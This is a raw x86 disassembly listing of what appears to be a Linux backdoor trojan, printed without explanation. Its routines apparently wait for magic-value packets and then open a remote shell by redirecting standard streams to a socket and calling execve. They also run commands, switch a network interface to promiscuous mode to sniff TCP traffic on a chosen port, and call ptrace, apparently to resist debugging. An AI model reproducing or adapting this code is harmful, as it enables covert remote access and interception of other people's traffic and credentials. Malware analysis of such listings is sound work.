0x8049cf6:      lea    0xfffffbf8(%ebp),%edx
0x8049cfc:      mov    %edx,0xfffffbec(%ebp)
0x8049d02:      push   %edx
0x8049d03:      push   $0x1
0x8049d05:      call   0x8049c4c
0x8049d0a:      push   $0x78
0x8049d0c:      call   0x80497b0
0x8049d11:      mov    %eax,0xfffffbf0(%ebp)
0x8049d17:      mov    %eax,%esi
0x8049d19:      add    $0x10,%esp
0x8049d1c:      test   %esi,%esi
0x8049d1e:      jne    0x8049d28
0x8049d20:      xor    %eax,%eax
0x8049d22:      jmp    0x8049ee9
0x8049d27:      nop
0x8049d28:      push   $0x400
0x8049d2d:      lea    0xfffffc00(%ebp),%ebx
0x8049d33:      push   %ebx
0x8049d34:      push   $0x0
0x8049d36:      call   0x8049c4c
0x8049d3b:      push   $0x0
0x8049d3d:      push   $0x0
0x8049d3f:      push   %ebx
0x8049d40:      push   $0x5
0x8049d42:      call   0x804963c
0x8049d47:      mov    %eax,%edi
0x8049d49:      add    $0x1c,%esp
0x8049d4c:      test   %edi,%edi
0x8049d4e:      jge    0x8049d7c
0x8049d50:      mov    0xfffffbf0(%ebp),%edx
0x8049d56:      push   %edx
0x8049d57:      push   $0x2d
0x8049d59:      jmp    0x8049d6d
0x8049d5b:      nop
0x8049d5c:      mov    0xfffffbf0(%ebp),%edx
0x8049d62:      push   %edx
0x8049d63:      push   $0x2d
0x8049d65:      call   0x8049610
0x8049d6a:      push   %edi
0x8049d6b:      push   $0x6
0x8049d6d:      call   0x8049610
0x8049d72:      xor    %eax,%eax
0x8049d74:      jmp    0x8049ee9
0x8049d79:      lea    0x0(%esi),%esi
0x8049d7c:      mov    %esp,0xfffffbe8(%ebp)
0x8049d82:      sub    $0xa0,%esp
0x8049d88:      mov    %esp,0xfffffbe4(%ebp)
0x8049d8e:      jmp    0x8049eb6
0x8049d93:      nop
0x8049d94:      lea    0xfffffbf4(%ebp),%eax
0x8049d9a:      push   %eax
0x8049d9b:      mov    0xfffffbe4(%ebp),%edx
0x8049da1:      push   %edx
0x8049da2:      call   0x80497f4
0x8049da7:      mov    %eax,%ebx
0x8049da9:      add    $0x8,%esp
0x8049dac:      cmpl   $0x11,0xfffffbf4(%ebp)
0x8049db3:      jle    0x8049dcc
0x8049db5:      push   $0x5
0x8049db7:      mov    0xfffffbec(%ebp),%edx
0x8049dbd:      push   %edx
0x8049dbe:      pushl  (%ebx)
0x8049dc0:      call   0x8049718
0x8049dc5:      add    $0xc,%esp
0x8049dc8:      test   %eax,%eax
0x8049dca:      jne    0x8049ddc
0x8049dcc:      push   %ebx
0x8049dcd:      push   $0x2d
0x8049dcf:      call   0x8049610
0x8049dd4:      add    $0x8,%esp
0x8049dd7:      jmp    0x8049eb6
0x8049ddc:      pushl  0x4(%ebx)
0x8049ddf:      call   0x8049770
0x8049de4:      add    $0x4,%esp
0x8049de7:      cmp    $0x40,%eax
0x8049dea:      ja     0x8049dfc
0x8049dec:      pushl  0x4(%ebx)
0x8049def:      call   0x8049770
0x8049df4:      add    $0x4,%esp
0x8049df7:      jmp    0x8049e01
0x8049df9:      lea    0x0(%esi),%esi
0x8049dfc:      mov    $0x40,%eax
0x8049e01:      push   %eax
0x8049e02:      pushl  0x4(%ebx)
0x8049e05:      push   %esi
0x8049e06:      call   0x804978c
0x8049e0b:      pushl  0x14(%ebx)
0x8049e0e:      call   0x80498d4
0x8049e13:      mov    %eax,0x40(%esi)
0x8049e16:      pushl  0x28(%ebx)
0x8049e19:      call   0x80498d4
0x8049e1e:      mov    %eax,0x44(%esi)
0x8049e21:      push   %eax
0x8049e22:      call   0x8049894
0x8049e27:      add    0x28(%ebx),%eax
0x8049e2a:      inc    %eax
0x8049e2b:      push   %eax
0x8049e2c:      call   0x80498d4
0x8049e31:      mov    %eax,0x48(%esi)
0x8049e34:      pushl  0x2c(%ebx)
0x8049e37:      call   0x80498d4
0x8049e3c:      mov    %eax,0x4c(%esi)
0x8049e3f:      add    $0x20,%esp
0x8049e42:      push   %eax
0x8049e43:      call   0x8049894
0x8049e48:      add    0x2c(%ebx),%eax
0x8049e4b:      inc    %eax
0x8049e4c:      push   %eax
0x8049e4d:      call   0x80498d4
0x8049e52:      mov    %eax,0x50(%esi)
0x8049e55:      add    $0x8,%esp
0x8049e58:      pushl  0x44(%ebx)
0x8049e5b:      call   0x8049770
0x8049e60:      add    $0x4,%esp
0x8049e63:      cmp    $0x20,%eax
0x8049e66:      ja     0x8049e78
0x8049e68:      pushl  0x44(%ebx)
0x8049e6b:      call   0x8049770
0x8049e70:      add    $0x4,%esp
0x8049e73:      jmp    0x8049e7d
0x8049e75:      lea    0x0(%esi),%esi
0x8049e78:      mov    $0x20,%eax
0x8049e7d:      push   %eax
0x8049e7e:      pushl  0x44(%ebx)
0x8049e81:      lea    0x54(%esi),%eax
0x8049e84:      push   %eax
0x8049e85:      call   0x804978c
0x8049e8a:      push   %ebx
0x8049e8b:      push   $0x2d
0x8049e8d:      call   0x8049610
0x8049e92:      push   $0x78
0x8049e94:      call   0x80497b0
0x8049e99:      mov    %eax,0x74(%esi)
0x8049e9c:      add    $0x18,%esp
0x8049e9f:      test   %eax,%eax
0x8049ea1:      je     0x8049d5c
0x8049ea7:      mov    %eax,%esi
0x8049ea9:      push   $0x78
0x8049eab:      push   $0x0
0x8049ead:      push   %esi
0x8049eae:      call   0x804974c
0x8049eb3:      add    $0xc,%esp
0x8049eb6:      push   $0xa0
0x8049ebb:      mov    0xfffffbe4(%ebp),%edx
0x8049ec1:      push   %edx
0x8049ec2:      push   %edi
0x8049ec3:      push   $0x3
0x8049ec5:      call   0x804963c
0x8049eca:      add    $0x10,%esp
0x8049ecd:      test   %eax,%eax
0x8049ecf:      jg     0x8049d94
0x8049ed5:      mov    0xfffffbe8(%ebp),%esp
0x8049edb:      push   %edi
0x8049edc:      push   $0x6
0x8049ede:      call   0x8049610
0x8049ee3:      mov    0xfffffbf0(%ebp),%eax
0x8049ee9:      lea    0xfffffbd8(%ebp),%esp
0x8049eef:      pop    %ebx
0x8049ef0:      pop    %esi
0x8049ef1:      pop    %edi
0x8049ef2:      leave
0x8049ef3:      ret
0x8049ef4:      push   %ebp
0x8049ef5:      mov    %esp,%ebp
0x8049ef7:      sub    $0x24,%esp
0x8049efa:      push   %ebx
0x8049efb:      push   $0xff
0x8049f00:      push   $0x3
0x8049f02:      push   $0x2
0x8049f04:      call   0x80499e0
0x8049f09:      mov    %eax,0xffffffdc(%ebp)
0x8049f0c:      add    $0xc,%esp
0x8049f0f:      test   %eax,%eax
0x8049f11:      jl     0x8049f68
0x8049f13:      movl   $0x0,0xffffffe0(%ebp)
0x8049f1a:      movl   $0x42,0xffffffe4(%ebp)
0x8049f21:      lea    0xfffffff0(%ebp),%edx
0x8049f24:      mov    %edx,0xffffffe8(%ebp)
0x8049f27:      movl   $0x10,0xffffffec(%ebp)
0x8049f2e:      mov    0x8(%ebp),%eax
0x8049f31:      mov    %eax,0xfffffff0(%ebp)
0x8049f34:      movl   $0x75706e69,0xfffffff4(%ebp)
0x8049f3b:      movl   $0x310074,0xfffffff8(%ebp)
0x8049f42:      lea    0xfffffff4(%ebp),%edx
0x8049f45:      mov    %edx,0xfffffffc(%ebp)
0x8049f48:      lea    0xffffffdc(%ebp),%eax
0x8049f4b:      push   %eax
0x8049f4c:      push   $0xe
0x8049f4e:      push   $0x66
0x8049f50:      call   0x8049624
0x8049f55:      mov    %eax,%ebx
0x8049f57:      pushl  0xffffffdc(%ebp)
0x8049f5a:      push   $0x6
0x8049f5c:      call   0x8049610
0x8049f61:      mov    %ebx,%eax
0x8049f63:      jmp    0x8049f6d
0x8049f65:      lea    0x0(%esi),%esi
0x8049f68:      mov    $0xffffffff,%eax
0x8049f6d:      mov    0xffffffd8(%ebp),%ebx
0x8049f70:      leave
0x8049f71:      ret
0x8049f72:      mov    %esi,%esi
0x8049f74:      push   %ebp
0x8049f75:      mov    %esp,%ebp
0x8049f77:      nop
0x8049f78:      push   $0x1
0x8049f7a:      call   0x8049ef4
0x8049f7f:      add    $0x4,%esp
0x8049f82:      test   %eax,%eax
0x8049f84:      je     0x8049f78
0x8049f86:      leave
0x8049f87:      ret
0x8049f88:      push   %ebp
0x8049f89:      mov    %esp,%ebp
0x8049f8b:      sub    $0xc,%esp
0x8049f8e:      push   %edi
0x8049f8f:      push   %esi
0x8049f90:      push   %ebx
0x8049f91:      mov    $0x1,%edi
0x8049f96:      mov    $0x2,%esi
0x8049f9b:      push   $0x18
0x8049f9d:      call   0x8049604
0x8049fa2:      add    $0x4,%esp
0x8049fa5:      test   %eax,%eax
0x8049fa7:      jne    0x8049fb5
0x8049fa9:      call   0x8049ce8
0x8049fae:      mov    %eax,0xfffffff4(%ebp)
0x8049fb1:      test   %eax,%eax
0x8049fb3:      jne    0x8049fc0
0x8049fb5:      mov    $0xffffffff,%eax
0x8049fba:      jmp    0x804a047
0x8049fbf:      nop
0x8049fc0:      mov    0xfffffff4(%ebp),%edx
0x8049fc3:      mov    0x74(%edx),%eax
0x8049fc6:      test   %eax,%eax
0x8049fc8:      je     0x8049fd4
0x8049fca:      mov    %esi,%esi
0x8049fcc:      inc    %esi
0x8049fcd:      mov    0x74(%eax),%eax
0x8049fd0:      test   %eax,%eax
0x8049fd2:      jne    0x8049fcc
0x8049fd4:      mov    0xfffffff4(%ebp),%ebx
0x8049fd7:      test   %ebx,%ebx
0x8049fd9:      je     0x804a03a
0x8049fdb:      nop
0x8049fdc:      cmpw   $0x4544,0x54(%ebx)
0x8049fe2:      jne    0x804a032
0x8049fe4:      mov    0xc(%ebp),%edx
0x8049fe7:      cmp    %edx,0x40(%ebx)
0x8049fea:      jne    0x804a032
0x8049fec:      xor    %eax,%eax
0x8049fee:      cmpl   $0x1,0x10(%ebp)
0x8049ff2:      jne    0x804a007
0x8049ff4:      mov    0x8(%ebp),%edx
0x8049ff7:      cmp    0x4c(%ebx),%edx
0x8049ffa:      jl     0x804a007
0x8049ffc:      cmp    %edx,0x50(%ebx)
0x8049fff:      setge  %al
0x804a002:      and    $0xff,%eax
0x804a007:      cmpl   $0x2,0x10(%ebp)
0x804a00b:      jne    0x804a01b
0x804a00d:      mov    0x8(%ebp),%edx
0x804a010:      cmp    0x44(%ebx),%edx
0x804a013:      jl     0x804a01b
0x804a015:      cmp    %edx,0x48(%ebx)
0x804a018:      jl     0x804a01b
0x804a01a:      inc    %eax
0x804a01b:      test   %eax,%eax
0x804a01d:      jle    0x804a032
0x804a01f:      push   %edi
0x804a020:      call   0x8049ef4
0x804a025:      add    $0x4,%esp
0x804a028:      test   %eax,%eax
0x804a02a:      jl     0x804a032
0x804a02c:      test   %esi,%esi
0x804a02e:      jle    0x804a03a
0x804a030:      dec    %esi
0x804a031:      dec    %edi
0x804a032:      mov    0x74(%ebx),%ebx
0x804a035:      inc    %edi
0x804a036:      test   %ebx,%ebx
0x804a038:      jne    0x8049fdc
0x804a03a:      mov    0xfffffff4(%ebp),%edx
0x804a03d:      push   %edx
0x804a03e:      push   $0x2d
0x804a040:      call   0x8049610
0x804a045:      xor    %eax,%eax
0x804a047:      lea    0xffffffe8(%ebp),%esp
0x804a04a:      pop    %ebx
0x804a04b:      pop    %esi
0x804a04c:      pop    %edi
0x804a04d:      leave
0x804a04e:      ret
0x804a04f:      nop
0x804a050:      push   %ebp
0x804a051:      mov    %esp,%ebp
0x804a053:      push   %edi
0x804a054:      push   %esi
0x804a055:      push   %ebx
0x804a056:      mov    0xc(%ebp),%esi
0x804a059:      fldz
0x804a05b:      xor    %ebx,%ebx
0x804a05d:      cmp    %esi,%ebx
0x804a05f:      jge    0x804a091
0x804a061:      lea    0x0(%esi),%esi
0x804a064:      mov    0x8(%ebp),%edi
0x804a067:      mov    (%ebx,%edi,1),%dl
0x804a06a:      mov    %dl,%cl
0x804a06c:      shr    $0x4,%cl
0x804a06f:      mov    %cl,%al
0x804a071:      shl    $0x4,%al
0x804a074:      sub    %al,%dl
0x804a076:      shl    $0x4,%dl
0x804a079:      add    %cl,%dl
0x804a07b:      movzbl %dl,%edx
0x804a07e:      mov    $0xff,%eax
0x804a083:      sub    %edx,%eax
0x804a085:      push   %eax
0x804a086:      fiaddl (%esp,1)
0x804a089:      add    $0x4,%esp
0x804a08c:      inc    %ebx
0x804a08d:      cmp    %esi,%ebx
0x804a08f:      jl     0x804a064
0x804a091:      push   %esi
0x804a092:      fidivl (%esp,1)
0x804a095:      add    $0x4,%esp
0x804a098:      lea    0xfffffff4(%ebp),%esp
0x804a09b:      pop    %ebx
0x804a09c:      pop    %esi
0x804a09d:      pop    %edi
0x804a09e:      leave
0x804a09f:      ret
0x804a0a0:      push   %ebp
0x804a0a1:      mov    %esp,%ebp
0x804a0a3:      push   %esi
0x804a0a4:      push   %ebx
0x804a0a5:      mov    0xc(%ebp),%esi
0x804a0a8:      xor    %ebx,%ebx
0x804a0aa:      cmp    %esi,%ebx
0x804a0ac:      jge    0x804a0c7
0x804a0ae:      mov    0x8(%ebp),%ecx
0x804a0b1:      lea    0x0(%esi),%esi
0x804a0b4:      mov    (%ecx),%dl
0x804a0b6:      and    $0xf,%dl
0x804a0b9:      mov    (%ecx),%al
0x804a0bb:      or     $0xf,%al
0x804a0bd:      sub    %dl,%al
0x804a0bf:      mov    %al,(%ecx)
0x804a0c1:      inc    %ecx
0x804a0c2:      inc    %ebx
0x804a0c3:      cmp    %esi,%ebx
0x804a0c5:      jl     0x804a0b4
0x804a0c7:      lea    0xfffffff8(%ebp),%esp
0x804a0ca:      pop    %ebx
0x804a0cb:      pop    %esi
0x804a0cc:      leave
0x804a0cd:      ret
0x804a0ce:      mov    %esi,%esi
0x804a0d0:      push   %ebp
0x804a0d1:      mov    %esp,%ebp
0x804a0d3:      sub    $0x20,%esp
0x804a0d6:      push   %esi
0x804a0d7:      push   %ebx
0x804a0d8:      push   $0x10
0x804a0da:      lea    0xfffffff0(%ebp),%esi
0x804a0dd:      push   %esi
0x804a0de:      push   $0x2
0x804a0e0:      call   0x8049c4c
0x804a0e5:      push   $0x4
0x804a0e7:      lea    0xffffffe0(%ebp),%ebx
0x804a0ea:      push   %ebx
0x804a0eb:      push   $0x4
0x804a0ed:      call   0x8049c4c
0x804a0f2:      mov    %esi,0xffffffe4(%ebp)
0x804a0f5:      mov    %ebx,0xffffffe8(%ebp)
0x804a0f8:      movl   $0x0,0xffffffec(%ebp)
0x804a0ff:      push   $0x0
0x804a101:      lea    0xffffffe4(%ebp),%eax
0x804a104:      push   %eax
0x804a105:      push   %esi
0x804a106:      push   $0xb
0x804a108:      call   0x804963c
0x804a10d:      lea    0xffffffd8(%ebp),%esp
0x804a110:      pop    %ebx
0x804a111:      pop    %esi
0x804a112:      leave
0x804a113:      ret
0x804a114:      push   %ebp
0x804a115:      mov    %esp,%ebp
0x804a117:      push   %ebx
0x804a118:      push   $0x2
0x804a11a:      call   0x8049604
0x804a11f:      add    $0x4,%esp
0x804a122:      test   %eax,%eax
0x804a124:      jne    0x804a191
0x804a126:      push   $0x0
0x804a128:      push   $0x0
0x804a12a:      push   $0x46
0x804a12c:      call   0x8049624
0x804a131:      pushl  0x8(%ebp)
0x804a134:      push   $0x6
0x804a136:      call   0x8049ab8
0x804a13b:      mov    %eax,%ebx
0x804a13d:      add    $0x14,%esp
0x804a140:      test   %ebx,%ebx
0x804a142:      jge    0x804a150
0x804a144:      push   $0xffffffff
0x804a146:      push   $0x1
0x804a148:      call   0x8049610
0x804a14d:      add    $0x8,%esp
0x804a150:      push   %ebx
0x804a151:      call   0x8049b70
0x804a156:      mov    %eax,%ebx
0x804a158:      add    $0x4,%esp
0x804a15b:      test   %ebx,%ebx
0x804a15d:      jge    0x804a16b
0x804a15f:      push   $0xffffffff
0x804a161:      push   $0x1
0x804a163:      call   0x8049610
0x804a168:      add    $0x8,%esp
0x804a16b:      push   $0x0
0x804a16d:      push   %ebx
0x804a16e:      push   $0x3f
0x804a170:      call   0x8049624
0x804a175:      push   $0x1
0x804a177:      push   %ebx
0x804a178:      push   $0x3f
0x804a17a:      call   0x8049624
0x804a17f:      push   $0x2
0x804a181:      push   %ebx
0x804a182:      push   $0x3f
0x804a184:      call   0x8049624
0x804a189:      add    $0x24,%esp
0x804a18c:      call   0x804a0d0
0x804a191:      mov    0xfffffffc(%ebp),%ebx
0x804a194:      leave
0x804a195:      ret
0x804a196:      mov    %esi,%esi
0x804a198:      push   %ebp
0x804a199:      mov    %esp,%ebp
0x804a19b:      push   %ebx
0x804a19c:      push   $0x2
0x804a19e:      call   0x8049604
0x804a1a3:      add    $0x4,%esp
0x804a1a6:      test   %eax,%eax
0x804a1a8:      jne    0x804a1fb
0x804a1aa:      push   $0x0
0x804a1ac:      push   $0x0
0x804a1ae:      push   $0x46
0x804a1b0:      call   0x8049624
0x804a1b5:      pushl  0xc(%ebp)
0x804a1b8:      pushl  0x8(%ebp)
0x804a1bb:      call   0x8049a2c
0x804a1c0:      mov    %eax,%ebx
0x804a1c2:      add    $0x14,%esp
0x804a1c5:      test   %ebx,%ebx
0x804a1c7:      jge    0x804a1d5
0x804a1c9:      push   $0xffffffff
0x804a1cb:      push   $0x1
0x804a1cd:      call   0x8049610
0x804a1d2:      add    $0x8,%esp
0x804a1d5:      push   $0x0
0x804a1d7:      push   %ebx
0x804a1d8:      push   $0x3f
0x804a1da:      call   0x8049624
0x804a1df:      push   $0x1
0x804a1e1:      push   %ebx
0x804a1e2:      push   $0x3f
0x804a1e4:      call   0x8049624
0x804a1e9:      push   $0x2
0x804a1eb:      push   %ebx
0x804a1ec:      push   $0x3f
0x804a1ee:      call   0x8049624
0x804a1f3:      add    $0x24,%esp
0x804a1f6:      call   0x804a0d0
0x804a1fb:      mov    0xfffffffc(%ebp),%ebx
0x804a1fe:      leave
0x804a1ff:      ret
0x804a200:      push   %ebp
0x804a201:      mov    %esp,%ebp
0x804a203:      sub    $0x20d4,%esp
0x804a209:      push   %edi
0x804a20a:      push   %esi
0x804a20b:      push   %ebx
0x804a20c:      push   $0x2
0x804a20e:      call   0x8049604
0x804a213:      add    $0x4,%esp
0x804a216:      test   %eax,%eax
0x804a218:      jne    0x804a40d
0x804a21e:      push   $0x8
0x804a220:      push   $0xa
0x804a222:      push   $0x2
0x804a224:      call   0x80499e0
0x804a229:      mov    %eax,0xffffdf34(%ebp)
0x804a22f:      add    $0xc,%esp
0x804a232:      test   %eax,%eax
0x804a234:      jge    0x804a242
0x804a236:      push   $0xffffffff
0x804a238:      push   $0x1
0x804a23a:      call   0x8049610
0x804a23f:      add    $0x8,%esp
0x804a242:      push   $0x10
0x804a244:      mov    0x8(%ebp),%eax
0x804a247:      add    $0x8,%eax
0x804a24a:      push   %eax
0x804a24b:      lea    0xffffdf3c(%ebp),%ebx
0x804a251:      push   %ebx
0x804a252:      call   0x804978c
0x804a257:      push   %ebx
0x804a258:      push   $0x8913
0x804a25d:      mov    0xffffdf34(%ebp),%ecx
0x804a263:      push   %ecx
0x804a264:      push   $0x36
0x804a266:      call   0x804963c
0x804a26b:      add    $0x1c,%esp
0x804a26e:      test   %eax,%eax
0x804a270:      jge    0x804a27e
0x804a272:      push   $0xffffffff
0x804a274:      push   $0x1
0x804a276:      call   0x8049610
0x804a27b:      add    $0x8,%esp
0x804a27e:      orb    $0x1,0xffffdf4d(%ebp)
0x804a285:      push   %ebx
0x804a286:      push   $0x8914
0x804a28b:      mov    0xffffdf34(%ebp),%ecx
0x804a291:      push   %ecx
0x804a292:      push   $0x36
0x804a294:      call   0x804963c
0x804a299:      add    $0x10,%esp
0x804a29c:      test   %eax,%eax
0x804a29e:      jge    0x804a2ac
0x804a2a0:      push   $0xffffffff
0x804a2a2:      push   $0x1
0x804a2a4:      call   0x8049610
0x804a2a9:      add    $0x8,%esp
0x804a2ac:      mov    0x8(%ebp),%ecx
0x804a2af:      pushl  0x4(%ecx)
0x804a2b2:      pushl  (%ecx)
0x804a2b4:      call   0x8049a2c
0x804a2b9:      mov    %eax,0xffffdf30(%ebp)
0x804a2bf:      add    $0x8,%esp
0x804a2c2:      test   %eax,%eax
0x804a2c4:      jge    0x804a2d2
0x804a2c6:      push   $0xffffffff
0x804a2c8:      push   $0x1
0x804a2ca:      call   0x8049610
0x804a2cf:      add    $0x8,%esp
0x804a2d2:      push   $0x80
0x804a2d7:      lea    0xffffdf5c(%ebp),%ebx
0x804a2dd:      push   %ebx
0x804a2de:      push   $0x5
0x804a2e0:      call   0x8049c4c
0x804a2e5:      push   %ebx
0x804a2e6:      call   0x8049770
0x804a2eb:      push   %eax
0x804a2ec:      push   %ebx
0x804a2ed:      mov    0xffffdf30(%ebp),%ecx
0x804a2f3:      push   %ecx
0x804a2f4:      push   $0x4
0x804a2f6:      call   0x804963c
0x804a2fb:      add    $0x20,%esp
0x804a2fe:      lea    0xffffdfdc(%ebp),%ecx
0x804a304:      mov    %ecx,0xffffdf2c(%ebp)
0x804a30a:      jmp    0x804a3df
0x804a30f:      nop
0x804a310:      movzbl 0xffffdff3(%ebp),%edx
0x804a317:      mov    0x8(%ebp),%ecx
0x804a31a:      cmp    0x18(%ecx),%edx
0x804a31d:      jne    0x804a3df
0x804a323:      add    $0xffffffde,%eax
0x804a326:      lea    0xffffdffe(%ebp),%ebx
0x804a32c:      cmp    $0x6,%edx
0x804a32f:      jne    0x804a3cc
0x804a335:      lea    0xffffe012(%ebp),%edi
0x804a33b:      lea    0xffffffec(%eax),%esi
0x804a33e:      movzwl 0xffffdffe(%ebp),%eax
0x804a345:      push   %eax
0x804a346:      call   0x80499cc
0x804a34b:      mov    %ax,0xffffdffe(%ebp)
0x804a352:      movzwl 0x2(%ebx),%eax
0x804a356:      push   %eax
0x804a357:      call   0x80499cc
0x804a35c:      mov    %ax,0x2(%ebx)
0x804a360:      movzwl 0xffffdffe(%ebp),%eax
0x804a367:      mov    0x8(%ebp),%ecx
0x804a36a:      mov    0x1c(%ecx),%edx
0x804a36d:      add    $0x8,%esp
0x804a370:      cmp    %edx,%eax
0x804a372:      je     0x804a37c
0x804a374:      movzwl 0x2(%ebx),%eax
0x804a378:      cmp    %edx,%eax
0x804a37a:      jne    0x804a3df
0x804a37c:      mov    0x8(%ebp),%ecx
0x804a37f:      cmpl   $0x0,0x20(%ecx)
0x804a383:      jne    0x804a38c
0x804a385:      push   %esi
0x804a386:      push   %edi
0x804a387:      jmp    0x804a3ce
0x804a389:      lea    0x0(%esi),%esi
0x804a38c:      xor    %ebx,%ebx
0x804a38e:      cmp    %esi,%ebx
0x804a390:      jge    0x804a3df
0x804a392:      mov    %esi,%esi
0x804a394:      mov    (%ebx,%edi,1),%dl
0x804a397:      cmp    $0xa,%dl
0x804a39a:      je     0x804a3a4
0x804a39c:      mov    %dl,%al
0x804a39e:      add    $0xe0,%al
0x804a3a0:      cmp    $0x5f,%al
0x804a3a2:      ja     0x804a3c4
0x804a3a4:      mov    %dl,0xffffdf3b(%ebp)
0x804a3aa:      push   $0x1
0x804a3ac:      lea    0xffffdf3b(%ebp),%eax
0x804a3b2:      push   %eax
0x804a3b3:      mov    0xffffdf30(%ebp),%ecx
0x804a3b9:      push   %ecx
0x804a3ba:      push   $0x4
0x804a3bc:      call   0x804963c
0x804a3c1:      add    $0x10,%esp
0x804a3c4:      inc    %ebx
0x804a3c5:      cmp    %esi,%ebx
0x804a3c7:      jl     0x804a394
0x804a3c9:      jmp    0x804a3df
0x804a3cb:      nop
0x804a3cc:      push   %eax
0x804a3cd:      push   %ebx
0x804a3ce:      mov    0xffffdf30(%ebp),%ecx
0x804a3d4:      push   %ecx
0x804a3d5:      push   $0x4
0x804a3d7:      call   0x804963c
0x804a3dc:      add    $0x10,%esp
0x804a3df:      push   $0x2022
0x804a3e4:      mov    0xffffdf2c(%ebp),%ecx
0x804a3ea:      push   %ecx
0x804a3eb:      mov    0xffffdf34(%ebp),%ecx
0x804a3f1:      push   %ecx
0x804a3f2:      push   $0x3
0x804a3f4:      call   0x804963c
0x804a3f9:      add    $0x10,%esp
0x804a3fc:      cmp    $0xffffffff,%eax
0x804a3ff:      jne    0x804a310
0x804a405:      push   %eax
0x804a406:      push   $0x1
0x804a408:      call   0x8049610
0x804a40d:      lea    0xffffdf20(%ebp),%esp
0x804a413:      pop    %ebx
0x804a414:      pop    %esi
0x804a415:      pop    %edi
0x804a416:      leave
0x804a417:      ret
0x804a418:      push   %ebp
0x804a419:      mov    %esp,%ebp
0x804a41b:      sub    $0x430,%esp
0x804a421:      push   %edi
0x804a422:      push   %esi
0x804a423:      push   %ebx
0x804a424:      mov    $0xbe9,%ebx
0x804a429:      jmp    0x804a42d
0x804a42b:      nop
0x804a42c:      inc    %ebx
0x804a42d:      push   %ebx
0x804a42e:      push   $0x11
0x804a430:      call   0x8049ab8
0x804a435:      mov    %eax,0xfffffbd8(%ebp)
0x804a43b:      add    $0x8,%esp
0x804a43e:      test   %eax,%eax
0x804a440:      jl     0x804a42c
0x804a442:      push   $0x1
0x804a444:      push   $0x11
0x804a446:      push   %ebx
0x804a447:      call   0x8049f88
0x804a44c:      add    $0xc,%esp
0x804a44f:      lea    0xfffffc00(%ebp),%esi
0x804a455:      lea    0xfffffc0c(%ebp),%edi
0x804a45b:      lea    0xfffffbf0(%ebp),%eax
0x804a461:      mov    %eax,0xfffffbd4(%ebp)
0x804a467:      nop
0x804a468:      push   $0x400
0x804a46d:      push   %esi
0x804a46e:      mov    0xfffffbd8(%ebp),%eax
0x804a474:      push   %eax
0x804a475:      call   0x8049ba0
0x804a47a:      mov    %eax,%edx
0x804a47c:      add    $0xc,%esp
0x804a47f:      cmp    $0x8c,%edx
0x804a485:      jne    0x804a468
0x804a487:      push   $0x80
0x804a48c:      push   %edi
0x804a48d:      call   0x804a050
0x804a492:      fldl   0x4(%esi)
0x804a495:      add    $0x8,%esp
0x804a498:      fucompp
0x804a49a:      fnstsw %ax
0x804a49c:      and    $0x44,%ah
0x804a49f:      xor    $0x40,%ah
0x804a4a2:      jne    0x804a468
0x804a4a4:      push   $0x80
0x804a4a9:      push   %edi
0x804a4aa:      call   0x804a0a0
0x804a4af:      add    $0x8,%esp
0x804a4b2:      mov    0xfffffc00(%ebp),%edx
0x804a4b8:      cmp    $0xbfffea10,%edx
0x804a4be:      je     0x804a524
0x804a4c0:      jg     0x804a4d8
0x804a4c2:      cmp    $0xbfaf2121,%edx
0x804a4c8:      je     0x804a50c
0x804a4ca:      cmp    $0xbfff3e60,%edx
0x804a4d0:      je     0x804a598
0x804a4d6:      jmp    0x804a468
0x804a4d8:      cmp    $0x8002147,%edx
0x804a4de:      je     0x804a4f0
0x804a4e0:      cmp    $0x8053e10,%edx
0x804a4e6:      je     0x804a51a
0x804a4e8:      jmp    0x804a468
0x804a4ed:      lea    0x0(%esi),%esi
0x804a4f0:      mov    0xc(%esi),%ebx
0x804a4f3:      push   $0x1
0x804a4f5:      push   $0x6
0x804a4f7:      push   %ebx
0x804a4f8:      call   0x8049f88
0x804a4fd:      push   %ebx
0x804a4fe:      call   0x804a114
0x804a503:      add    $0x10,%esp
0x804a506:      jmp    0x804a468
0x804a50b:      nop
0x804a50c:      pushl  0x10(%esi)
0x804a50f:      pushl  0xc(%esi)
0x804a512:      call   0x804a198
0x804a517:      add    $0x8,%esp
0x804a51a:      call   0x8049f74
0x804a51f:      jmp    0x804a468
0x804a524:      push   $0x2
0x804a526:      call   0x8049604
0x804a52b:      add    $0x4,%esp
0x804a52e:      test   %eax,%eax
0x804a530:      jne    0x804a468
0x804a536:      push   $0x10
0x804a538:      mov    0xfffffbd4(%ebp),%eax
0x804a53e:      push   %eax
0x804a53f:      push   $0x2
0x804a541:      call   0x8049c4c
0x804a546:      push   $0x4
0x804a548:      lea    0xfffffbdc(%ebp),%ebx
0x804a54e:      push   %ebx
0x804a54f:      push   $0x3
0x804a551:      call   0x8049c4c
0x804a556:      mov    0xfffffbd4(%ebp),%eax
0x804a55c:      mov    %eax,0xfffffbe0(%ebp)
0x804a562:      mov    %ebx,0xfffffbe4(%ebp)
0x804a568:      mov    %edi,0xfffffbe8(%ebp)
0x804a56e:      movl   $0x0,0xfffffbec(%ebp)
0x804a578:      push   $0x0
0x804a57a:      lea    0xfffffbe0(%ebp),%eax
0x804a580:      push   %eax
0x804a581:      mov    0xfffffbd4(%ebp),%eax
0x804a587:      push   %eax
0x804a588:      push   $0xb
0x804a58a:      call   0x804963c
0x804a58f:      add    $0x28,%esp
0x804a592:      jmp    0x804a468
0x804a597:      nop
0x804a598:      push   %edi
0x804a599:      call   0x804a200
0x804a59e:      add    $0x4,%esp
0x804a5a1:      jmp    0x804a468
0x804a5a6:      mov    %esi,%esi
0x804a5a8:      push   %ebp
0x804a5a9:      mov    %esp,%ebp
0x804a5ab:      push   %ebx
0x804a5ac:      push   %ecx
0x804a5ad:      push   %edx
0x804a5ae:      push   %esi
0x804a5af:      mov    $0x1a,%eax
0x804a5b4:      mov    0x18(%esp,1),%ebx
0x804a5b8:      mov    0x1c(%esp,1),%ecx
0x804a5bc:      mov    0x20(%esp,1),%edx
0x804a5c0:      mov    0x24(%esp,1),%esi
0x804a5c4:      int    $0x80
0x804a5c6:      pop    %esi
0x804a5c7:      pop    %edx
0x804a5c8:      pop    %ecx
0x804a5c9:      pop    %ebx
0x804a5ca:      leave
0x804a5cb:      ret
0x804a5cc:      push   %ebp
0x804a5cd:      mov    %esp,%ebp
0x804a5cf:      sub    $0xc,%esp
0x804a5d2:      push   %esi
0x804a5d3:      push   %ebx
0x804a5d4:      movb   $0xfe,0xfffffff7(%ebp)
0x804a5d8:      movb   $0xff,0xfffffff6(%ebp)
0x804a5dc:      push   $0x1
0x804a5de:      push   $0x11
0x804a5e0:      push   $0x30
0x804a5e2:      call   0x8049624
0x804a5e7:      push   $0x14
